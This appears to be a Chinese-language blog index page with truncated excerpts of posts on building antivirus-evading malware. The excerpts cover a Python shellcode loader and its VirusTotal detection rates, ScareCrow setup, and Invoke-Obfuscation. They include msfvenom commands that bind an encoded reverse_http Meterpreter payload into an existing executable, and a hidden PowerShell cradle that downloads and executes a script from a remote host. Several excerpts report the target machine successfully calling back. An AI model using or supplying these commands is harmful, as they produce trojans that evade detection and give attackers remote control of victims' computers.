AA8j的博客

文章目录1. shellcode Loader1.1 生成shellcode1.2 shellcode loader 脚本上线测试1.3 使用pyinstaller生成exe文件上线测试1.4 VT查杀率：24/682. ShellCode 分离2.1 上传加密后的shellcode2.2 改写shellcode loader2.3 shellcode 分离后shellcode loader脚本上线测试2.4 shellcode 分离后，使用pyinstaller生成exe文件上线测试2.5 VT查杀率：1

项目地址https://github.com/optiv/ScareCrow安装方法首先安装：golang、openssl、osslsigncode、mingw-w64apt install golang openssl osslsigncode mingw-w64 -y下载源码：https://github.com/optiv/ScareCrow/tags进入根目录编译go env -w GOPROXY=https://goproxy.cn# 使用国内原go build Sca

准备被捆绑程序：输入：msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe目标主机执行，成功上线：...

利用msfvenom生成shellcode：msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=44444 -e x86/shikata_ga_nai -i 10 -f raw -b '\x00\x0a\x0d' > ~/Desktop/Trojan/test.bin利用FourEye生成exe：FourEye >>shellcodeFourEye(shellcode) >>1F.

0x01 项目地址https://github.com/danielbohannon/Invoke-Obfuscation0x02 用法生成powershell：powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:55556/a'))"下载并用powershell进入项目目录执行：Import-Module .\Invoke-Obfuscati